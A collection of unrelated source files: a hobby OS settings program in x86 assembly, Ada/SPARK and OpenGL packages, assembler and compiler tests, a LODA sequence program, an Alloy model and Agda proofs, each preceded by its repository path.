call os_string_to_int neg ax mov [57081], ax call .update_config jmp start .sound: call .draw_background mov ax, .sound_list ; Draw list of settings mov bx, .help_msg1 mov cx, .help_msg2 call os_list_dialog jc near start ; User pressed Esc? cmp ax, 1 je near .enable_sound cmp ax, 2 je near .disable_sound cmp ax, 3 je near .adlib_addr cmp ax, 4 je near .adlib_data cmp ax, 5 je near .test_adlib .enable_sound: mov byte [57069], 1 call .update_config jmp .sound .disable_sound: mov byte [57069], 0 call .update_config jmp .sound .adlib_addr: mov ax, buffer mov bx, .adlib1_msg call os_input_dialog mov si, buffer call os_string_to_hex mov [57077], ax call .update_config jmp .sound .adlib_data: mov ax, buffer mov bx, .adlib2_msg call os_input_dialog mov si, buffer call os_string_to_hex mov [57079], ax call .update_config jmp .sound .password: mov ax, .password_list mov bx, .help_msg1 mov cx, .help_msg2 call os_list_dialog jc start cmp ax, 1 je near .change_name cmp ax, 2 je near .disable_password cmp ax, 3 je near .set_password .change_name: call os_application_privileger jc .fail call .draw_background call .reset_name mov ax, 57036 mov bx, .name_msg mov byte [0088h], 32 call os_input_dialog mov byte [0088h], 255 call .update_config jmp .password .disable_password: call os_application_privileger jc .fail call .draw_background mov byte [57002], 0 call .update_config jmp .password .set_password: call os_application_privileger jc .fail call .draw_background mov byte [57002], 1 call .reset_password mov ax, 57003 mov bx, .password_msg mov byte [0088h], 32 call os_password_dialog mov byte [0088h], 255 mov si, 57003 call os_string_encrypt call .update_config jmp .password .fail: call .draw_background mov ax, .permerrmsg1 mov bx, 0 mov cx, 0 mov dx, 0 call os_dialog_box jmp .password .exit: call os_clear_screen ret ;------------------------------------------ .reset_password: mov di, 57003 mov al, 0 .reset_password_loop: stosb cmp di, 57036 jl .reset_password_loop ret .reset_name: mov di, 57036 mov al, 0 .reset_name_loop: stosb cmp di, 57069 jl .reset_name_loop ret .draw_background: pusha mov ax, .title_msg mov bx, .footer_msg mov cx, 256 call os_draw_background popa ret .update_config: mov ax, .config_name ; Replace the SYSTEM.CFG file with the new configuration... call os_remove_file mov ax, .config_name mov bx, 57000 mov cx, 83 ; SYSTEM.CFG file size call os_write_file jc .write_error mov ax, .changedone mov bx, 0 mov cx, 0 mov dx, 0 call os_dialog_box ret .write_error: mov ax, .errmsg1 mov bx, .errmsg2 mov cx, 0 mov dx, 0 call os_dialog_box ret .test_adlib: call .draw_background call os_hide_cursor mov si, .box_msg mov ax, 0 mov bx, 0 mov cx, 0 mov dx, 0 call os_temp_box call .prepare_synth mov si, .song_data jmp .the_actual_loop .play_loop: mov ax, 10 call os_pause .the_actual_loop: call os_check_for_key cmp al, 27 je .sound cmp si, .song_data + 18 * 8 je .reset_channel cmp si, .song_data + 18 * 16 je .reset_channel cmp si, .song_data + 18 * 24 je .reset_channel cmp si, .song_data je .reset_channel .reset_done: mov ah, 0A0h .first_loop: lodsb call os_adlib_regwrite inc ah cmp ah, 0A8h jle .first_loop mov ah, 0B0h .second_loop: lodsb call os_adlib_regwrite inc ah cmp ah, 0B8h jle .second_loop cmp si, .song_data + 18 * 32 jne .play_loop mov si, .song_data jmp .play_loop .reset_channel: mov al, [si + 9] mov ah, 0B0h and al, 0DFh ; Mask off the KEY ON BIT call os_adlib_regwrite mov al, [si + 9 + 5] mov ah, 0B5h and al, 0DFh ; Mask off the KEY ON BIT call os_adlib_regwrite jmp .reset_done .prepare_synth: mov ax, 0 .clear_loop: call os_adlib_regwrite inc ah cmp ah, 0 jne .clear_loop mov si, .prep_data .prepare_loop: lodsw cmp ax, 0 je .prepare_end call os_adlib_regwrite jmp .prepare_loop .prepare_end: ret .command_list db 'Look and feel,Sound,User information,Set timezone', 0 .password_list db 'Change the name,Disable the password,Set the password', 0 .look_list db 'Set the background color,Set an image as a background,Remove the image background,Set the window color,Set the main menu color,Screensaver settings,Select the default font,Enable background dimming when in menu,Disable background dimming when in menu,(INFO) Why should I set the background color when I use an image?', 0 .font_list db 'InpyoOS System Font,BIOS Default Font', 0 .screensaver_list db 'Disable the screensaver,Set the screensaver', 0 .sound_list db 'Enable sound at startup,Disable sound at startup,Set AdLib address register,Set AdLib data register,Test AdLib...', 0 .imghelp1 db 'Some applications do not support drawing', 0 .imghelp2 db 'the image to the BG, so the background', 0 .imghelp3 db 'color is used as a fallback.', 0 .adlib1_msg db 'Enter register: (in hex, default: 388)', 0 .adlib2_msg db 'Enter register: (in hex, default: 389)', 0 .time_msg db 'Enter a time offset (in minutes):', 0 .password_msg db 'Enter a new password:', 0 .name_msg db 'Enter a new name (32 chars max.):', 0 .screensaver_msg db 'Enter the amount of minutes:', 0 .changedone db 'Changes have been saved.', 0 .help_msg1 db 'Choose an option...', 0 .help_msg2 db '', 0 .title_msg db 'InpyoOS Settings', 0 .footer_msg db '', 0 .config_name db 'SYSTEM.CFG', 0 .bg_name db 'BG.SYS', 0 .extension_number db 1 .asc_extension db 'ASC', 0 .errmsg1 db 'Error writing to the disk!', 0 .errmsg2 db 'Make sure it is not read only!', 0 .permerrmsg1 db 'Authentication failed!', 0 .scrnsaveerr db 'Max. 30 minutes!', 0 .box_msg db 'Press Escape to stop...', 0 .song_data db 044h, 059h, 059h, 059h, 059h, 04Ah, 05Ch, 05Ch, 05Ch, 02Ah, 000h, 000h, 000h, 000h, 02Eh, 000h, 000h, 000h, 044h, 0DBh, 059h, 059h, 059h, 04Ah, 0E3h, 05Ch, 05Ch, 00Ah, 02Eh, 000h, 000h, 000h, 00Eh, 02Eh, 000h, 000h, 044h, 0DBh, 065h, 059h, 059h, 04Ah, 0E3h, 06Fh, 05Ch, 00Ah, 00Eh, 02Fh, 000h, 000h, 00Eh, 00Eh, 02Fh, 000h, 044h, 0DBh, 065h, 023h, 059h, 04Ah, 0E3h, 06Fh, 029h, 00Ah, 00Eh, 00Fh, 032h, 000h, 00Eh, 00Eh, 00Fh, 032h, 044h, 0DBh, 065h, 023h, 08Bh, 04Ah, 0E3h, 06Fh, 092h, 00Ah, 00Eh, 00Fh, 012h, 032h, 00Eh, 00Eh, 00Fh, 032h, 044h, 0DBh, 065h, 023h, 08Bh, 04Ah, 0E3h, 06Fh, 029h, 00Ah, 00Eh, 00Fh, 032h, 012h, 00Eh, 00Eh, 00Fh, 032h, 023h, 0DBh, 065h, 023h, 08Bh, 029h, 0E3h, 06Fh, 029h, 02Ah, 00Eh, 02Fh, 012h, 012h, 02Eh, 00Eh, 02Fh, 012h, 023h, 0DBh, 065h, 023h, 08Bh, 029h, 0E3h, 06Fh, 029h, 02Ah, 02Eh, 00Fh, 012h, 012h, 02Eh, 02Eh, 00Fh, 012h, 0CFh, 0DBh, 065h, 023h, 08Bh, 0DAh, 0E3h, 06Fh, 029h, 027h, 00Eh, 00Fh, 012h, 012h, 02Bh, 00Eh, 00Fh, 012h, 0CFh, 044h, 065h, 023h, 08Bh, 0DAh, 04Ah, 06Fh, 029h, 007h, 02Eh, 00Fh, 012h, 012h, 00Bh, 02Eh, 00Fh, 012h, 0CFh, 044h, 0DBh, 012h, 08Bh, 0DAh, 04Ah, 0E3h, 029h, 007h, 00Eh, 02Eh, 012h, 012h, 00Bh, 00Eh, 02Eh, 012h, 0CFh, 044h, 0DBh, 065h, 08Bh, 0DAh, 04Ah, 0E3h, 06Fh, 007h, 00Eh, 00Eh, 02Fh, 012h, 00Bh, 00Eh, 00Eh, 02Fh, 0CFh, 044h, 0DBh, 065h, 023h, 0DAh, 04Ah, 0E3h, 029h, 007h, 00Eh, 00Eh, 00Fh, 032h, 00Bh, 00Eh, 00Eh, 032h, 0CFh, 044h, 0DBh, 065h, 023h, 0DAh, 04Ah, 0E3h, 06Fh, 007h, 00Eh, 00Eh, 02Fh, 012h, 00Bh, 00Eh, 00Eh, 02Fh, 065h, 044h, 0DBh, 065h, 023h, 06Fh, 04Ah, 0E3h, 06Fh, 027h, 00Eh, 02Eh, 00Fh, 012h, 02Bh, 00Eh, 02Eh, 00Fh, 065h, 044h, 0DBh, 065h, 023h, 06Fh, 04Ah, 0E3h, 06Fh, 027h, 02Eh, 00Eh, 00Fh, 012h, 02Bh, 02Eh, 00Eh, 00Fh, 006h, 044h, 0DBh, 065h, 023h, 00Fh, 04Ah, 0E3h, 06Fh, 027h, 00Eh, 00Eh, 00Fh, 012h, 02Bh, 00Eh, 00Eh, 00Fh, 006h, 0CFh, 0DBh, 065h, 023h, 00Fh, 0DAh, 0E3h, 06Fh, 007h, 02Bh, 00Eh, 00Fh, 012h, 00Bh, 02Bh, 00Eh, 00Fh, 006h, 0CFh, 044h, 065h, 023h, 00Fh, 0DAh, 04Ah, 06Fh, 007h, 00Bh, 02Eh, 00Fh, 012h, 00Bh, 00Bh, 02Eh, 00Fh, 006h, 0CFh, 044h, 0DBh, 023h, 00Fh, 0DAh, 04Ah, 0E3h, 007h, 00Bh, 00Eh, 02Eh, 012h, 00Bh, 00Bh, 00Eh, 02Eh, 006h, 0CFh, 044h, 0DBh, 065h, 00Fh, 0DAh, 04Ah, 06Fh, 007h, 00Bh, 00Eh, 00Eh, 02Fh, 00Bh, 00Bh, 00Eh, 02Fh, 006h, 0CFh, 044h, 0DBh, 065h, 00Fh, 0DAh, 04Ah, 0E3h, 007h, 00Bh, 00Eh, 02Eh, 00Fh, 00Bh, 00Bh, 00Eh, 02Eh, 034h, 0CFh, 044h, 0DBh, 065h, 03Dh, 0DAh, 04Ah, 0E3h, 027h, 00Bh, 02Eh, 00Eh, 00Fh, 02Bh, 00Bh, 02Eh, 00Eh, 034h, 0CFh, 044h, 0DBh, 065h, 03Dh, 0DAh, 04Ah, 0E3h, 027h, 02Bh, 00Eh, 00Eh, 00Fh, 02Bh, 02Bh, 00Eh, 00Eh, 065h, 0CFh, 044h, 0DBh, 065h, 06Fh, 0DAh, 04Ah, 0E3h, 027h, 00Bh, 00Eh, 00Eh, 00Fh, 02Bh, 00Bh, 00Eh, 00Eh, 065h, 023h, 044h, 0DBh, 065h, 06Fh, 029h, 04Ah, 0E3h, 007h, 02Eh, 00Eh, 00Eh, 00Fh, 00Bh, 02Eh, 00Eh, 00Eh, 065h, 023h, 08Bh, 0DBh, 065h, 06Fh, 029h, 092h, 0E3h, 007h, 00Eh, 02Eh, 00Eh, 00Fh, 00Bh, 00Eh, 02Eh, 00Eh, 065h, 023h, 08Bh, 006h, 065h, 06Fh, 029h, 092h, 00Fh, 007h, 00Eh, 00Eh, 02Fh, 00Fh, 00Bh, 00Eh, 00Eh, 02Fh, 065h, 023h, 08Bh, 006h, 0CFh, 06Fh, 029h, 092h, 0DAh, 007h, 00Eh, 00Eh, 00Fh, 02Fh, 00Bh, 00Eh, 00Eh, 02Fh, 065h, 023h, 08Bh, 006h, 0CFh, 06Fh, 029h, 092h, 00Fh, 007h, 00Eh, 00Eh, 02Fh, 00Fh, 00Bh, 00Eh, 00Eh, 02Fh, 065h, 023h, 08Bh, 006h, 0CFh, 06Fh, 029h, 092h, 00Fh, 027h, 00Eh, 02Eh, 00Fh, 00Fh, 02Bh, 00Eh, 02Eh, 00Fh, 065h, 023h, 08Bh, 006h, 0CFh, 06Fh, 029h, 092h, 00Fh, 027h, 02Eh, 00Eh, 00Fh, 00Fh, 02Bh, 02Eh, 00Eh, 00Fh .prep_data dw 00120h, 02041h, 02141h, 02241h, 02841h, 02941h, 02A41h, 03041h, 03141h, 03241h, 02313h, 02413h, 02513h, 02B13h, 02C13h, 02D13h, 03313h, 03413h, 03513h, 0409Dh, 0419Dh, 0429Dh, 0430Ah, 04407h, 04507h, 0489Dh, 0499Dh, 04A9Dh, 04B07h, 04C07h, 04D0Ah, 0509Dh, 0519Dh, 0529Dh, 0530Ah, 0540Ah, 0550Ah, 060F2h, 061F2h, 062F2h, 063F2h, 064F2h, 065F2h, 066F2h, 067F2h, 068F2h, 069F2h, 06AF2h, 06BF2h, 06CF2h, 06DF2h, 06EF2h, 06FF2h, 070F2h, 071F2h, 072F2h, 073F2h, 074F2h, 075F2h, 08051h, 08151h, 08251h, 08851h, 08951h, 08A51h, 09051h, 09151h, 09251h, 083F1h, 084F1h, 085F1h, 08BF1h, 08CF1h, 08DF1h, 093F1h, 094F1h, 095F1h, 0C006h, 0C106h, 0C206h, 0C306h, 0C406h, 0C506h, 0C606h, 0C706h, 0C806h driversgmt dw 0 buffer: ; ------------------------------------------------------------------
src/intel/tools/tests/gen6/break.asm
SoftReaper/Mesa-Renoir-deb
0
85720
break(8) JIP: LABEL1 UIP: LABEL2 { align16 1Q }; LABEL1: break(8) JIP: LABEL2 UIP: LABEL2 { align1 1Q }; break(16) JIP: LABEL2 UIP: LABEL2 { align1 1H }; LABEL2: (+f0.0) break(8) JIP: LABEL3 UIP: LABEL3 { align1 1Q }; (+f0.0) break(16) JIP: LABEL3 UIP: LABEL3 { align1 1H }; (+f0.0.x) break(8) JIP: LABEL3 UIP: LABEL3 { align16 1Q }; LABEL3:
software/lib/units-vectors.adb
TUM-EI-RCS/StratoX
12
13601
with Units.Numerics; use Units.Numerics; pragma Elaborate_All(Units); package body Units.Vectors with SPARK_Mode is function Sat_Add is new Saturated_Addition (Base_Unit_Type); function Sat_Sub is new Saturated_Subtraction (Base_Unit_Type); function Unit_Square (val : Base_Unit_Type) return Base_Unit_Type is begin if Sqrt (Base_Unit_Type'Last) <= abs (val) then return Base_Unit_Type'Last; else return val*val; -- TODO: fails (Sqrt is not modeled precisely) end if; end Unit_Square; procedure rotate (vector : in out Cartesian_Vector_Type; axis : Cartesian_Coordinates_Type; angle : Angle_Type) is result : Cartesian_Vector_Type := vector; co : constant Base_Unit_Type := Cos (angle); si : constant Base_Unit_Type := Sin (angle); pragma Assert (co in -1.0 .. 1.0); pragma Assert (si in -1.0 .. 1.0); begin case (axis) is when X => result (Y) := Sat_Sub (co * vector(Y), si * vector(Z)); result (Z) := Sat_Add (si * vector(Y), co * vector(Z)); when Y => result (X) := Sat_Add (si * vector(Z), co * vector(X)); result (Z) := Sat_Sub (co * vector(Z), si * vector(X)); when Z => result (X) := Sat_Sub (co * vector(X), si * vector(Y)); result (Y) := Sat_Add (si * vector(X), co * vector(Y)); end case; vector := result; end rotate; function "abs" (vector : Cartesian_Vector_Type) return Base_Unit_Type is xx : constant Base_Unit_Type := Unit_Square (vector(X)); yy : constant Base_Unit_Type := Unit_Square (vector(Y)); zz : constant Base_Unit_Type := Unit_Square (vector(Z)); len : constant Base_Unit_Type := Sat_Add (Sat_Add (xx, yy), zz); pragma Assert (len >= 0.0); -- TODO: fails. need lemma? begin return Sqrt (len); end "abs"; function "abs" (vector : Angular_Vector) return Base_Unit_Type is xx : constant Base_Unit_Type := Unit_Square (vector(X)); yy : constant Base_Unit_Type := Unit_Square (vector(Y)); zz : constant Base_Unit_Type := Unit_Square (vector(Z)); len : constant Base_Unit_Type := Sat_Add (Sat_Add (xx, yy), zz); pragma Assert (len >= 0.0); -- TODO: fails. need lemma? begin return Sqrt (len); end "abs"; function "abs" (vector : Linear_Acceleration_Vector) return Linear_Acceleration_Type is xx : constant Base_Unit_Type := Unit_Square (Base_Unit_Type (vector(X))); yy : constant Base_Unit_Type := Unit_Square (Base_Unit_Type (vector(Y))); zz : constant Base_Unit_Type := Unit_Square (Base_Unit_Type (vector(Z))); len : constant Base_Unit_Type := Sat_Add (Sat_Add (xx, yy), zz); pragma Assert (len >= 0.0); -- TODO: fails. need lemma? begin return Linear_Acceleration_Type (Sqrt (len)); end "abs"; function Eye( n : Natural ) return Unit_Matrix is result : Unit_Matrix(1 .. n, 1 .. n) := (others => (others => 0.0)); begin for i in result'Range loop result(i,i) := 1.0; end loop; return result; end Eye; function Ones( n : Natural ) return Unit_Matrix is result : constant Unit_Matrix(1 .. n, 1 .. n) := (others => (others => 1.0)); begin return result; end Ones; function Zeros( n : Natural ) return Unit_Matrix is result : constant Unit_Matrix(1 .. n, 1 .. n) := (others => (others => 0.0)); begin return result; end Zeros; procedure setOnes( A : in out Unit_Matrix; first : Natural; last : Natural) is null; end Units.Vectors;
3-mid/opengl/source/lean/opengl-visual.ads
charlie5/lace
20
22772
<gh_stars>10-100 with openGL.Program, openGL.Model; package openGL.Visual is type Item is tagged private; type View is access all Item'Class; type Views is array (Positive range <>) of View; type Grid is array (Integer range <>, Integer range <>) of Visual.view; type Grid_view is access all Grid; procedure free (Self : in out View); --------- --- Forge -- package Forge is function new_Visual (Model : in openGL.Model.view; Scale : in Vector_3 := (1.0, 1.0, 1.0); is_Terrain : in Boolean := False) return Visual.view; end Forge; -------------- -- Attributes -- procedure Model_is (Self : in out Item; Now : in Model.view); function Model (Self : in Item) return Model.view; procedure Scale_is (Self : in out Item; Now : in Vector_3); function Scale (Self : in Item) return Vector_3; procedure is_Terrain (Self : in out Item; Now : in Boolean := True); function is_Terrain (Self : in Item) return Boolean; procedure face_Count_is (Self : in out Item; Now : in Natural); function face_Count (Self : in Item) return Natural; procedure apparent_Size_is (Self : in out Item; Now : in Real); function apparent_Size (Self : in Item) return Real; procedure mvp_Transform_is (Self : in out Item; Now : in Matrix_4x4); function mvp_Transform (Self : in Item) return Matrix_4x4; procedure Transform_is (Self : in out Item; Now : in Matrix_4x4); function Transform (Self : in Item) return Matrix_4x4; procedure Site_is (Self : in out Item; Now : in Vector_3); function Site_of (Self : in Item) return Vector_3; procedure Spin_is (Self : in out Item; Now : in Matrix_3x3); function Spin_of (Self : in Item) return Matrix_3x3; procedure inverse_modelview_Matrix_is (Self : in out Item; Now : in Matrix_3x3); function inverse_modelview_Matrix (Self : in Item) return Matrix_3x3; procedure program_Parameters_are (Self : in out Item; Now : in program.Parameters_view); function program_Parameters (Self : in Item) return program.Parameters_view; private type Item is tagged record Model : openGL.Model.view; Scale : Vector_3 := (1.0, 1.0, 1.0); Transform : Matrix_4x4; mvp_Transform : Matrix_4x4; inverse_modelview_Matrix : Matrix_3x3; program_Parameters : program.Parameters_view; is_Terrain : Boolean := False; face_Count : Positive := 1; apparent_Size : Real; -- A measure of how large the visual is in screen size. end record; end openGL.Visual;
assembler/tests/t_huc6280/t_huc6280.asm
paulscottrobson/RCA-Cosmac-VIP-III
0
167625
cpu huc6280 page 0 adc #$45 adc $45 adc $45,x adc $4567 adc $4567,x adc $4567,y adc ($4567) adc ($45,x) adc ($45),y and #$45 and $45 and $45,x and $4567 and $4567,x and $4567,y and ($4567) and ($45,x) and ($45),y asl asl a asl $45 asl $45,x asl $4567 asl $4567,x bbr0 $45,* bbr1 $45,* bbr2 $45,* bbr3 $45,* bbr4 $45,* bbr5 $45,* bbr6 $45,* bbr7 $45,* bbs0 $45,* bbs1 $45,* bbs2 $45,* bbs3 $45,* bbs4 $45,* bbs5 $45,* bbs6 $45,* bbs7 $45,* bcc * bcs * beq * bit #$45 bit $45 bit $45,x bit $4567 bit $4567,x bmi * bne * bpl * bra * brk bsr * bvc * bvs * cla clc cld cli clv clx cly cmp #$45 cmp $45 cmp $45,x cmp $4567 cmp $4567,x cmp $4567,y cmp ($4567) cmp ($45,x) cmp ($45),y cpx #$45 cpx $45 cpx $4567 cpy #$45 cpy $45 cpy $4567 csh csl dec $45 dec $45,x dec $4567 dec $4567,x dex dey eor #$45 eor $45 eor $45,x eor $4567 eor $4567,x eor $4567,y eor ($4567) eor ($45,x) eor ($45),y inc inc a inc $45 inc $45,x inc $4567 inc $4567,x inx iny jmp $4567 jmp ($4567) jmp ($4567,x) jsr $4567 lda #$45 lda $45 lda $45,x lda $4567 lda $4567,x lda $4567,y lda ($4567) lda ($45,x) lda ($45),y ldx #$45 ldx $45 ldx $45,y ldx $4567 ldx $4567,y ldy #$45 ldy $45 ldy $45,x ldy $4567 ldy $4567,x lsr lsr a lsr $45 lsr $45,x lsr $4567 lsr $4567,x nop ora #$45 ora $45 ora $45,x ora $4567 ora $4567,x ora $4567,y ora ($4567) ora ($45,x) ora ($45),y pha php phx phy pla plp plx ply rmb0 $45 rmb1 $45 rmb2 $45 rmb3 $45 rmb4 $45 rmb5 $45 rmb6 $45 rmb7 $45 rol rol a rol $45 rol $45,x rol $4567 rol $4567,x ror ror a ror $45 ror $45,x ror $4567 ror $4567,x rti rts sax say sbc #$45 sbc $45 sbc $45,x sbc $4567 sbc $4567,x sbc $4567,y sbc ($4567) sbc ($45,x) sbc ($45),y sec sed sei set smb0 $45 smb1 $45 smb2 $45 smb3 $45 smb4 $45 smb5 $45 smb6 $45 smb7 $45 st0 #$45 st1 #$45 st2 #$45 sta $45 sta $45,x sta $4567 sta $4567,x sta $4567,y sta ($4567) sta ($45,x) sta ($45),y stx $45 stx $45,y stx $4567 sty $45 sty $45,x sty $4567 stz $45 stz $45,x stz $4567 stz $4567,x sxy tai $4567,$5678,$6789 tam #$03 tax tay tdd $4567,$5678,$6789 tia $4567,$5678,$6789 tii $4567,$5678,$6789 tin $4567,$5678,$6789 tma #$40 trb $45 trb $4567 tsb $45 tsb $4567 tst #$45,$56 tst #$45,$56,x tst #$45,$5678 tst #$45,$5678,x tsx txa txs tya ; now play with the MPRs assume mpr0:$23 assume mpr7:$24 lda $46004 lda $48004 ;lda $04
source/vampire-r3-message_page.adb
ytomino/vampire
1
24454
<reponame>ytomino/vampire -- The Village of Vampire by YT, このソースコードはNYSLです with Web.HTML; procedure Vampire.R3.Message_Page ( Output : not null access Ada.Streams.Root_Stream_Type'Class; Form : in Forms.Root_Form_Type'Class; Template : in String; Base_Page : in Forms.Base_Page; Village_Id : in Tabula.Villages.Village_Id := Tabula.Villages.Invalid_Village_Id; Village : access constant Tabula.Villages.Village_Type'Class := null; Message : in String; User_Id : in String; User_Password : in String) is procedure Handle ( Output : not null access Ada.Streams.Root_Stream_Type'Class; Tag : in String; Contents : in Web.Producers.Template) is begin if Tag = "action_cgi" then Forms.Write_Attribute_Name (Output, "action"); Forms.Write_Link ( Output, Form, Current_Directory => ".", Resource => Forms.Self); elsif Tag = "message" then Forms.Write_In_HTML (Output, Form, Message); elsif Tag = "parameters" then Web.HTML.Write_Query_In_HTML ( Output, Form.HTML_Version, Form.Parameters_To_Base_Page ( Base_Page => Base_Page, Village_Id => Village_Id, User_Id => User_Id, User_Password => <PASSWORD>)); elsif Tag = "title" then if Village /= null then declare State : Tabula.Villages.Village_State; Today : Natural; begin Tabula.Villages.Get_State (Village.all, State, Today); Forms.Write_In_HTML ( Output, Form, Village.Name.Constant_Reference & " " & Day_Name (Today, Today, State) & " - "); end; end if; else Raise_Unknown_Tag (Tag); end if; end Handle; begin Web.Producers.Produce (Output, Read (Template), Handler => Handle'Access); end Vampire.R3.Message_Page;
tests/random.ads
yannickmoy/SPARKNaCl
76
19628
with Interfaces; with SPARKNaCl; package Random with SPARK_Mode => On, Abstract_State => (Entropy with External => Async_Writers) is --=========================== -- Exported subprograms --=========================== function Random_Byte return Interfaces.Unsigned_8 with Global => Entropy, Volatile_Function; procedure Random_Bytes (R : out SPARKNaCl.Byte_Seq) with Global => Entropy; end Random;
oeis/273/A273348.asm
neoneye/loda-programs
11
4605
; A273348: The sum of the semiperimeters of the bargraphs of area n (n>=1). ; Submitted by <NAME> ; 2,6,16,39,92,211,476,1059,2332,5091,11036,23779,50972,108771,231196,489699,1034012,2177251,4572956,9582819,20039452,41826531,87148316,181287139,376555292,781072611,1618069276,3347986659,6919669532,14286731491,29468247836,60726065379,125031270172,257220819171,528758195996 add $0,2 mov $2,5 mov $4,1 lpb $0 sub $0,1 dif $1,2 mov $3,$2 mul $2,2 add $3,$4 mov $4,$1 add $1,$3 mul $4,2 lpe mov $0,$3 sub $0,10 div $0,4 add $0,2
alloy4fun_models/trainstlt/models/4/CNPCDh7AfJ73yxvkB.als
Kaixi26/org.alloytools.alloy
0
764
open main pred idCNPCDh7AfJ73yxvkB_prop5 { all t:Train| { always (t.pos in Exit implies no t.pos') always (t.pos in Entry implies eventually t.pos' in t.pos.prox) } } pred __repair { idCNPCDh7AfJ73yxvkB_prop5 } check __repair { idCNPCDh7AfJ73yxvkB_prop5 <=> prop5o }
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/rep_clause2.adb
best08618/asylo
7
9542
<reponame>best08618/asylo -- { dg-do compile } package body Rep_Clause2 is procedure Assign (From : Data; Offset : Positive; I : Index; To : out Bit_Array) is begin To (Offset .. Offset + 7) := Bit_Array (Conv (From.D(I).S.N)); end; end Rep_Clause2;
agda/Test.agda
halfaya/Alae
0
4393
{-# OPTIONS --cubical --safe #-} module Test where open import Cubical.Core.Everything using (_≡_; Level; Type; Σ; _,_; fst; snd; _≃_; ~_) open import Cubical.Foundations.Prelude using (refl; sym; _∙_; cong; transport; subst; funExt; transp; I; i0; i1) open import Cubical.Foundations.Function using (_∘_) open import Cubical.Foundations.Univalence using (ua) open import Cubical.Foundations.Isomorphism using (iso; Iso; isoToPath; section; retract) open import Data.Bool.Base using (Bool; true; false; _∧_) open import Data.Nat.Base using (ℕ; zero; suc) open import Data.Product using (_×_; proj₁; proj₂) natrec : (P : ℕ → Type) → P 0 → ((n : ℕ) → P n → P (suc n)) → (n : ℕ) → P n natrec P z s zero = z natrec P z s (suc n) = s n (natrec P z s n) _+_ : ℕ → ℕ → ℕ _+_ = λ m → λ n → natrec (λ _ → ℕ) n (λ _ → suc) m 0=0 : 0 ≡ 0 0=0 = refl suc=suc : (m n : ℕ) → m ≡ n → suc m ≡ suc n suc=suc m n e = cong suc e 0+n=n : (n : ℕ) → 0 + n ≡ n 0+n=n = natrec (λ k → 0 + k ≡ k) 0=0 (λ n e → suc=suc n n e) n=0+n : (n : ℕ) → n + 0 ≡ n n=0+n = natrec (λ k → k + 0 ≡ k) 0=0 λ n e → suc=suc (n + 0) n e
test/Succeed/AsInTele.agda
shlevy/agda
1,989
15928
<reponame>shlevy/agda<gh_stars>1000+ open import Agda.Builtin.Nat open import Agda.Builtin.Sigma open import Agda.Builtin.Equality it : ∀ {a} {A : Set a} {{_ : A}} → A it {{p}} = p f : (a {b} {{c}} : Nat) → Nat f = λ a {b} → it g : (a b@(c , d) (e , f) : Σ Nat (λ _ → Nat)) → Nat g = λ a b@(c , d) x@(e , _) → f (fst a) {d} {{e}} h : ∀ {a} (b@(c , d) : Σ Nat (λ _ → Nat)) → Nat h {a} b = g a b b i : ∀ a b → Nat i a b = h {a} b {- j : ∀ x → let (m , n) = x in m ≡ n j x = {!!} -} data P (a {b} {{v}} c : Σ Nat (λ _ → Nat)) : Set where CON : a ≡ it → P a c uncurry : {A : Set} {B : A → Set} {C : ∀ a → B a → Set} → ((a : A) (b : B a) → C a b) → ((a , b) : Σ A B) → C a b uncurry f = λ (a , b) → f a b equal× : {A B : Set} (p q : Σ A (λ _ → B)) → Set equal× = λ (a , b) (c , d) → Σ (a ≡ c) (λ _ → b ≡ d) record WRAP : Set where constructor TTTTT field wrapped : Nat id : WRAP → WRAP id = λ x (let (TTTTT n) = x) → let (TTTTT n) = x in x id' : WRAP → WRAP id' = λ x@(TTTTT n) → x id'' : WRAP → WRAP id'' = λ (TTTTT n) → TTTTT n shadowing : (p@(m , p) m@(r , s) : Σ Nat (λ _ → Nat)) → Σ (Σ Nat (p ≡_)) (λ _ → Σ _ (m ≡_)) shadowing = λ (_ , p) m → (p , refl) , (m , refl) shadowing' : (x@(m , p) p@(r , s) : Σ Nat (λ _ → Nat)) → x ≡ p → m ≡ r shadowing' _ _ refl = refl
books_and_notes/professional_courses/Assembly_language_and_programming/sources/汇编语言程序设计教程第四版/codes/5_6.asm
gxw1/review_the_national_post-graduate_entrance_examination
640
7800
DATA SEGMENT DAT1 DB 65H DAT2 DB ? DAT3 DB ? DATA ENDS CODE SEGMENT ASSUME CS:CODE,DS:DATA START: MOV AX,DATA MOV DS,AX LEA SI,DAT1 MOV AL,[SI] CMP AL,99 JBE BCD LEA DI,DAT3 MOV byte ptr [DI],0FFH JMP EXIT BCD: CBW MOV CL,10 DIV CL MOV CL,4 SHL AL,CL OR AL,AH LEA DI,DAT2 MOV [DI],AL EXIT: MOV AH,4CH INT 21H CODE ENDS END START
configuration-step_3a.adb
annexi-strayline/AURA
13
20295
<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- Ada User Repository Annex (AURA) -- -- ANNEXI-STRAYLINE Reference Implementation -- -- -- -- Command Line Interface -- -- -- -- ------------------------------------------------------------------------ -- -- -- -- Copyright (C) 2020, ANNEXI-STRAYLINE Trans-Human Ltd. -- -- All rights reserved. -- -- -- -- Original Contributors: -- -- * <NAME> (ANNEXI-STRAYLINE) -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- -- -- * Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -- -- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING 